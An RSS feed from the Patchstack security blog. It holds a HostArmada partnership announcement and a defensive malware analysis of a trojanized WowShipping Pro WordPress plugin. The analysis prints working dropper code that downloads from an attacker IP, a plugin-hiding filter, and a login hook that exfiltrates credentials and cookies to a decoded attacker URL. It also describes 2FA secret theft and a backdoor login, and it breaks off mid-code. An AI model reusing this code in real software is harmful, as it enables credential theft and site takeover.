<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Patchstack Blog</title><description>WordPress security news, vulnerability disclosures, and expert advice from the Patchstack team.</description><link>https://patchstack.com/</link><language>en-us</language><atom:link rel="next" href="https://patchstack.com/feed/2.xml"/><item><title>HostArmada Adds Patchstack to Its Security Stack</title><link>https://patchstack.com/articles/hostarmada-adds-patchstack-to-its-security-stack/</link><guid isPermaLink="true">https://patchstack.com/articles/hostarmada-adds-patchstack-to-its-security-stack/</guid><description>We’re excited to announce that HostArmada has integrated Patchstack into their platform – bringing proactive WordPress vulnerability protection to their customers through a new security add-on called Armada V-Shield. HostArmada is a fast-growing cloud hosting provider built around performance, enterprise-grade security, and 24/7/365 support. They serve websites of all sizes – from personal blogs to […]
</description><pubDate>Tue, 21 Apr 2026 12:28:03 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re excited to announce that &lt;strong&gt;&lt;a href=&quot;https://hostarmada.com/&quot;&gt;HostArmada&lt;/a&gt;&lt;/strong&gt; has integrated Patchstack into their platform – bringing proactive WordPress vulnerability protection to their customers through a new security add-on called &lt;strong&gt;Armada V-Shield&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;HostArmada is a fast-growing cloud hosting provider built around performance, enterprise-grade security, and 24/7/365 support. They serve websites of all sizes – from personal blogs to WooCommerce stores – across 11 global data centers.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Now, with Patchstack, they’re closing the one gap that traditional hosting security has never quite solved.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;We’ve always invested heavily in security, but most solutions focus on reacting after a threat appears. What we were missing was a way to proactively protect our customers from WordPress vulnerabilities before they get exploited. Patchstack gives us exactly that. With their vulnerability intelligence and virtual patching, we can now block threats earlier and deliver a stronger, more complete security experience to our customers.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;204&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/simeon_website_triangle_500x500_purple.png&quot; class=&quot;wp-image-25897&quot; alt=&quot;&quot;&gt;&lt;span&gt;— &lt;span&gt;Simeon Mitev, HostArmada&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Preventing – not just reacting&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Traditional hosting security does a lot of things well. Firewalls, malware scanning, cleanup – HostArmada has always gone further than most on all of these. But their team kept running into the same problem: &lt;strong&gt;the most critical risks for their customers weren’t happening at the infrastructure level.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;They were happening inside WordPress plugins.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And most security tools only kick in after a threat is already known, or after damage is already done.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;HostArmada wanted something different – &lt;strong&gt;protection that works &lt;em&gt;before&lt;/em&gt; vulnerabilities get exploited,&lt;/strong&gt; and even before developers release a patch.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Patchstack fills that gap perfectly. Their vulnerability intelligence and virtual patching capabilities let us protect customers against threats that are often undisclosed or not yet patched by developers. And the best thing – that happens without clients updating their plugins, so the risk of broken websites drops to, well, 0.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;204&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/simeon_website_triangle_500x500_purple.png&quot; class=&quot;wp-image-25897&quot; alt=&quot;&quot;&gt;&lt;span&gt;— &lt;span&gt;Simeon Mitev, HostArmada&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;473&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/4mnvGmAZRW-1024x473.png&quot; alt=&quot;HostArmada&apos;s Patchstack integration&quot; class=&quot;wp-image-25898&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/4mnvGmAZRW-1024x473.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/04/4mnvGmAZRW-300x138.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/04/4mnvGmAZRW-768x354.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/04/4mnvGmAZRW-1536x709.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/04/4mnvGmAZRW-2048x945.png 2048w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Meet Armada V-Shield&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;HostArmada customers can now activate &lt;strong&gt;Armada V-Shield&lt;/strong&gt; directly from their client area. Once active, it installs a lightweight plugin, starts scanning immediately, and surfaces everything in a clean dashboard – no technical setup needed.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Here’s what it does:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;Continuous vulnerability monitoring&lt;/strong&gt; across plugins, themes, and WordPress core&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Vulnerability mitigation via RapidMitigate&lt;/strong&gt; – blocks known exploits automatically&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Advanced Hardening&lt;/strong&gt; to stop common malicious requests&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Community IP Blocklist&lt;/strong&gt; to block known bad actors before they reach the site&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Full software inventory&lt;/strong&gt; with version and security status for every component&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Blocked threat logs&lt;/strong&gt; with rule, module, origin, and timestamp&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The key thing: customers get protection from unpatched and even undisclosed vulnerabilities – without touching a single plugin. No update anxiety. No site breakage.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://hostarmada.com/tutorials/getting-started/client-area/how-to-purchase-and-activate-the-armada-v-shield-addon-booster/&quot;&gt;Learn how to activate Armada V-Shield →&lt;/a&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Protecting WordPress – together&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack runs the largest WordPress vulnerability intelligence database in the ecosystem and protects millions of websites with real-time mitigation and threat intelligence. HostArmada brings deep hosting expertise, global infrastructure, and a customer base that expects security to just work.&lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;This partnership lets us move from reactive security to proactive protection – significantly reducing risk for our customers while strengthening the overall security posture of our platform. It’s a natural extension of our commitment to providing a secure and reliable hosting environment.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;204&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/simeon_website_triangle_500x500_purple.png&quot; class=&quot;wp-image-25897&quot; alt=&quot;&quot;&gt;&lt;span&gt;— &lt;span&gt;Simeon Mitev, HostArmada&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;Together, we’re making it easier for WordPress site owners to stay protected – no technical expertise required.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://www.hostarmada.com/blog/wordpress-hosting-security/&quot;&gt;Read more about Armada V-Shield on HostArmada’s blog →&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>Supply Chain Compromise: Trojanized Copy of WowShipping Pro Installs Hidden Remote Access Toolkit</title><link>https://patchstack.com/articles/supply-chain-compromise-trojanized-copy-of-wowshipping-pro-installs-hidden-remote-access-toolkit/</link><guid isPermaLink="true">https://patchstack.com/articles/supply-chain-compromise-trojanized-copy-of-wowshipping-pro-installs-hidden-remote-access-toolkit/</guid><description>This blog post is a technical analysis of a trojanized copy of WowShipping Pro version 1.0.6 for WordPress, a commercial plugin sold by WPXPO. Patchstack received a copy of the plugin from a site owner who traced a client site compromise back to it. The file contains a dropper that silently installs a second, independent […]
</description><pubDate>Fri, 17 Apr 2026 13:02:21 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is a technical analysis of a trojanized copy of &lt;strong&gt;WowShipping Pro version 1.0.6&lt;/strong&gt; for WordPress, a commercial plugin sold by &lt;a href=&quot;https://www.wpxpo.com/&quot;&gt;WPXPO&lt;/a&gt;. Patchstack received a copy of the plugin from a site owner who traced a client site compromise back to it. The file contains a dropper that silently installs a second, independent malware plugin containing a full-featured remote access toolkit.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If you are running WowShipping Pro, ensure you are on at least version &lt;strong&gt;1.0.8&lt;/strong&gt; (which the vendor released on March 22, 2026 and which does not contain the dropper) and see the remediation section at the end of this article. Updating the plugin alone does not remove the installed malware.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The Patchstack vulnerability database entry can be found &lt;a href=&quot;https://patchstack.com/database/WordPress/Plugin/table-rate-shipping-pro/vulnerability/wordpress-wowshipping-pro-plugin-1-0-6-backdoor-vulnerability&quot;&gt;here&lt;/a&gt;. While Patchstack has released a mitigation rule to protect against exploitation, it does not guarantee complete protection if the site has already been infected.&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About the WowShipping Pro plugin&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;WowShipping is a WooCommerce table rate shipping plugin developed by WPXPO, with thousands of active installations across its free and Pro editions. It allows store owners to configure complex shipping rules based on weight, destination, quantity, product category, user role, and over thirty other conditions. The Pro version unlocks advanced conditional logic, live carrier rates, and role-based shipping.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The plugin in its Pro version is sold and hosted through &lt;a href=&quot;https://www.wpxpo.com/product/wowshipping/&quot;&gt;WPXPO’s own e-commerce site&lt;/a&gt;.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;2272&quot; height=&quot;1080&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-scaled.png&quot; alt=&quot;&quot; class=&quot;wp-image-25872&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-scaled.png 2272w, https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-300x143.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-1024x487.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-768x365.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-1536x730.png 1536w, https://wp.patchstack.com/wp-content/uploads/2026/04/wpxpo-wowshipping-pro-2048x973.png 2048w&quot; sizes=&quot;auto, (max-width: 2272px) 100vw, 2272px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;What happened&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;On April 16, Chad Yoder of &lt;a href=&quot;https://blackanvil.co/&quot;&gt;Black Anvil Creative&lt;/a&gt;&lt;strong&gt; reported a compromise on a client site running &lt;strong&gt;WowShipping Pro v1.0.6&lt;/strong&gt;&lt;/strong&gt; &lt;strong&gt;to Patchstack&lt;/strong&gt;, accompanied by the trojanized copy of the plugin they had traced it to. They stated that the copy in question originated directly from WPXPO.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The copy we received contains a modified &lt;code&gt;includes/class-plugin-actions.php&lt;/code&gt; file. Timestamp metadata inside the zip shows the file was last written on March 13, 2026, five days after the rest of the package, which carries a uniform build date of March 8.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The modification added 73 lines of code implementing a fully functional malware installer, while preserving the legitimate plugin row meta logic already present in the file. Several forensic signals indicate the modification was not made by the original developer: the injected method uses space indentation while the surrounding file uses tabs, it lacks a PHPDoc block while every other method in the class has one, and it uses raw cURL plus &lt;code&gt;ZipArchive&lt;/code&gt; rather than the WordPress filesystem APIs the rest of the plugin relies on.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;On March 22&lt;/strong&gt;, WPXPO released v1.0.7 and v1.0.8 with the dropper removed. We obtained a copy of v1.0.8 and confirmed it by diffing against v1.0.6: the &lt;code&gt;install_woocommerce_notifications()&lt;/code&gt; method and its &lt;code&gt;admin_init&lt;/code&gt; hook registration have been deleted, the file is otherwise identical to the pre-modification version, and no other files in the package contain the dropper’s indicators. The v1.0.7 and v1.0.8 changelog entries in the readme are both dated March 22 and both read simply “Fix: Some Issue Fixed.”&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;On March 24&lt;/strong&gt;, WPXPO sent an email to Pro customers titled “Security Update – Action Required”, stating that they had “released a new version of our Pro plugins that includes an important security patch” and asking users to update. The email did not describe the nature of the issue, did not name the malware, did not mention that a secondary plugin may have been installed on affected sites that would persist after updating, and did not provide detection or remediation instructions.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;897&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/WPXPO_Security_Email_2026-03-24-1024x897.png&quot; alt=&quot;&quot; class=&quot;wp-image-25886&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/WPXPO_Security_Email_2026-03-24-1024x897.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/04/WPXPO_Security_Email_2026-03-24-300x263.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/04/WPXPO_Security_Email_2026-03-24-768x673.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/04/WPXPO_Security_Email_2026-03-24.png 1537w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;figcaption class=&quot;wp-element-caption&quot;&gt;WPXPO’s email to Pro customers on March 24, 2026&lt;/figcaption&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In private correspondence with the reporter, WPXPO’s support team acknowledged the report and stated they had “reviewed their build process, secured their servers, and performed a full audit of the affected files” and released “an updated version to ensure everything is clean and safe for all users.” No public advisory has been issued at the time of writing.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Taken together (the vendor’s clean v1.0.8 release, their customer email, and their private acknowledgement), WPXPO’s response &lt;strong&gt;is consistent with a supply chain incident.&lt;/strong&gt; The full scope of the incident, including which plugins and what time window were affected, has not been publicly disclosed. WPXPO’s email stated that “all Pro plugins” should be updated, &lt;strong&gt;which suggests the issue was not limited to WowShipping Pro&lt;/strong&gt;, but Patchstack has not independently verified the other Pro plugins in their catalogue.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Technical analysis of the malware&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The attack is delivered in two stages. &lt;strong&gt;Stage 1&lt;/strong&gt; is the dropper embedded in the trojanized WowShipping Pro plugin. &lt;strong&gt;Stage 2&lt;/strong&gt; is the fake “WooCommerce Notifications” plugin that the dropper installs. Stage 2 is where the actual malware lives.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Stage 1: The dropper in WowShipping Pro&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The dropper sits in &lt;code&gt;includes/class-plugin-actions.php&lt;/code&gt; and registers a callback on the &lt;code&gt;admin_init&lt;/code&gt; hook (meaning it fires on every admin page load by any authenticated administrator). The function searches for a plugin with the slug &lt;code&gt;woocommerce-notifications&lt;/code&gt;. If it is not found, the dropper downloads a zip archive from a hardcoded attacker-controlled IP using raw cURL, extracts it directly into &lt;code&gt;wp-content/plugins/&lt;/code&gt;, and activates the resulting plugin using WordPress’s &lt;code&gt;activate_plugin()&lt;/code&gt; API. Finally, it sends a beacon to the same attacker IP containing the victim’s domain name, and sets a WordPress option flag so the beacon is only sent once.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;public function install_woocommerce_notifications() {
    require_once ABSPATH . &amp;#39;wp-admin/includes/plugin.php&amp;#39;;
    $all_plugins = get_plugins();
    $plugin_path = null;
    foreach ( $all_plugins as $path =&amp;gt; $data ) {
        if ( strpos( $path, &amp;#39;woocommerce-notifications&amp;#39; ) === 0 ) {
            $plugin_path = $path;
            break;
        }
    }
    if ( $plugin_path ) {
        if ( ! is_plugin_active( $plugin_path ) ) {
            activate_plugin( $plugin_path );
            [...]
        }
        return;
    }
    $plugin_zip_url = &amp;#39;http://188.137.251.115:3029/files/woocommerce-notifications.zip&amp;#39;;
    $plugins_dir   = WP_PLUGIN_DIR;
    $zip_path      = $plugins_dir . &amp;#39;/woocommerce-notifications-temp.zip&amp;#39;;

    $ch = curl_init( $plugin_zip_url );
    [...]
    $zip-&amp;gt;extractTo( $plugins_dir );
    $zip-&amp;gt;close();
    [...]
    activate_plugin( $plugin_path );&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Several forensic artifacts in this file signal tampering: the method uses space indentation while the rest of the file uses tabs, it lacks a PHPDoc block while every other method has one, it bypasses the WordPress filesystem API in favor of raw cURL and &lt;code&gt;ZipArchive&lt;/code&gt;, and it connects to a raw IP address over plain HTTP on a non-standard port. The attacker was competent but not careful about matching the surrounding code style.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The dropper also functions as a &lt;strong&gt;re-infection mechanism&lt;/strong&gt;: as long as it remains installed and active, any removal of the malware plugin is reversed on the next admin page load. Updating WowShipping Pro to a clean version removes the dropper, but does not remove the malware that the dropper already installed.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Stage 2: The “WooCommerce Notifications” malware plugin&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The installed payload masquerades as a legitimate WooCommerce extension. Its main file contains a fabricated plugin header with real WooCommerce branding, and the package includes decoy files (&lt;code&gt;class-wc-stock-delivery-map.php&lt;/code&gt;, &lt;code&gt;class-wc-region-dispatch-event.php&lt;/code&gt;) that implement functional-looking no-ops. The actual malware is distributed across three active component files and two bundled web-accessible tools.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware operates in several stages, each providing an independent access vector. Removing any single component does not neutralize the others.&lt;/p&gt;



&lt;h4 class=&quot;wp-block-heading&quot;&gt;1. Self-concealment from the WordPress plugins list&lt;/h4&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The main plugin file hooks the &lt;code&gt;all_plugins&lt;/code&gt; filter to remove itself from the array WordPress uses to populate the Plugins admin page. A site administrator viewing their plugin list will not see “WooCommerce Notifications” at all, even though it is installed, active, and running on every request.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;add_filter( &amp;#39;all_plugins&amp;#39;, function( $plugins ) {
    unset( $plugins[&amp;#39;woocommerce-notifications/woocommerce-notifications.php&amp;#39;] );
    return $plugins;
} );&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The main plugin file also references an optional &lt;code&gt;install-persistent.php&lt;/code&gt; loader. This file is not present in the analyzed sample, but the &lt;code&gt;require_once&lt;/code&gt; hook is in place, indicating the attacker has reserved space for a future second-stage persistence module.&lt;/p&gt;



&lt;h4 class=&quot;wp-block-heading&quot;&gt;2. Real-time credential theft on every login&lt;/h4&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The file &lt;code&gt;class-wc-notification-trace-dispatch.php&lt;/code&gt; registers four separate authentication hooks that intercept login credentials at different points in the WordPress authentication flow:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;wp_authenticate&lt;/code&gt; : captures the plaintext username and password into a global variable before WordPress verifies them. Independently verifies the credentials and exfiltrates them immediately on success&lt;/li&gt;



&lt;li&gt;&lt;code&gt;wp_login&lt;/code&gt; : exfiltrates credentials after WordPress has completed its own login sequence&lt;/li&gt;



&lt;li&gt;&lt;code&gt;wp_ajax_nopriv_wordfence_ls_authenticate&lt;/code&gt; : a dedicated hook for Wordfence Login Security’s AJAX authentication flow, used when Wordfence handles 2FA&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;When a successful login is detected, the malware collects the username, plaintext password, remote IP, full request URL, WordPress user roles, all cookies, and the user-agent string. All fields are base64-encoded and sent via POST to a hardcoded exfiltration endpoint. The endpoint URL is itself base64-encoded in the source to evade static string searches.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;add_action(&amp;#39;wp_login&amp;#39;, function($login, $user) {
    [...]
    $dispatch = [
        &amp;#39;login&amp;#39;      =&amp;gt; base64_encode($user_identifier),
        &amp;#39;password&amp;#39;   =&amp;gt; base64_encode($wc_notifications_pending_trace[&amp;#39;password&amp;#39;]),
        &amp;#39;fullPath&amp;#39;   =&amp;gt; base64_encode($full_path),
        &amp;#39;ip&amp;#39;         =&amp;gt; base64_encode($ip),
        &amp;#39;role&amp;#39;       =&amp;gt; base64_encode($roles),
        &amp;#39;cookie&amp;#39;     =&amp;gt; base64_encode($cookie_string),
        &amp;#39;user-agent&amp;#39; =&amp;gt; base64_encode($ua)
    ];

    if (!function_exists(&amp;#39;curl_init&amp;#39;)) return;
    $ch = @curl_init(base64_decode(&amp;#39;aHR0cDovLzFsMWwxbC5jb20vOGEzNzg4MTI0NDY2ODU1YTFkZmM3OGE2MWJmZGMzMmEucGhw&amp;#39;));
    [...]
}, 9999, 2);&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The decoded URL is &lt;code&gt;http://1l1l1l.com/8a3788124466855a1dfc78a61bfdc32a.php&lt;/code&gt;, a domain using visually confusing lowercase L and digit 1 characters to impersonate something innocuous in log review.&lt;/p&gt;



&lt;h4 class=&quot;wp-block-heading&quot;&gt;3. 2FA secret exfiltration&lt;/h4&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The same file contains a function that steals TOTP secrets from four widely used WordPress 2FA plugins. When a successful login is intercepted, the malware appends the victim’s TOTP secret to the exfiltration payload in the format &lt;code&gt;username|BASE32_SECRET&lt;/code&gt;, giving the attacker both the credentials &lt;em&gt;and&lt;/em&gt; the ability to generate valid time-based codes.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The targeted plugins and extraction methods are:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;WP-2FA&lt;/strong&gt; : reads the &lt;code&gt;wp_2fa_totp_key&lt;/code&gt; user meta, and attempts to invoke the plugin’s internal &lt;code&gt;WP2FA\Authenticator\Authentication::decrypt_key_if_needed()&lt;/code&gt; method to decrypt encrypted secrets&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Wordfence Login Security&lt;/strong&gt; : queries the &lt;code&gt;wp_wfls_2fa_secrets&lt;/code&gt; database table directly, and falls back to resolving the table name dynamically through Wordfence’s &lt;code&gt;Controller_DB&lt;/code&gt; class&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Really Simple SSL&lt;/strong&gt; : reads the &lt;code&gt;rsssl_totp_secret&lt;/code&gt; user meta, and resolves the actual meta key name through the plugin’s &lt;code&gt;Rsssl_Two_Factor_Totp::SECRET_META_KEY&lt;/code&gt; class constant for forward compatibility&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Two-Factor&lt;/strong&gt; (the plugin by the Two-Factor feature plugin team) : reads the &lt;code&gt;_two_factor_totp_key&lt;/code&gt; user meta&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The retrieved secret is normalized to base32 encoding before exfiltration. The defensive implication is significant: 2FA does not protect against this malware. Once a user logs in, the attacker has everything needed to bypass 2FA on future logins.&lt;/p&gt;



&lt;h4 class=&quot;wp-block-heading&quot;&gt;4. Authentication bypass backdoor&lt;/h4&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The file &lt;code&gt;class-wc-notification-scheduler.php&lt;/code&gt; hooks into the &lt;code&gt;init&lt;/code&gt; action at priority 0 (firing before nearly every other piece of WordPress code). On any POST request containing &lt;code&gt;log&lt;/code&gt; and &lt;code&gt;pwd&lt;/code&gt; fields, it checks whether the MD5 of the submitted password matches a hardcoded hash. If it matches, the malware logs in as whatever username was supplied in the &lt;code&gt;log&lt;/code&gt; field, bypassing WordPress’s actual authentication, 2FA, rate limiting, and every other protection.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;private static function maybe_trigger_internal_stock_dispatch() {
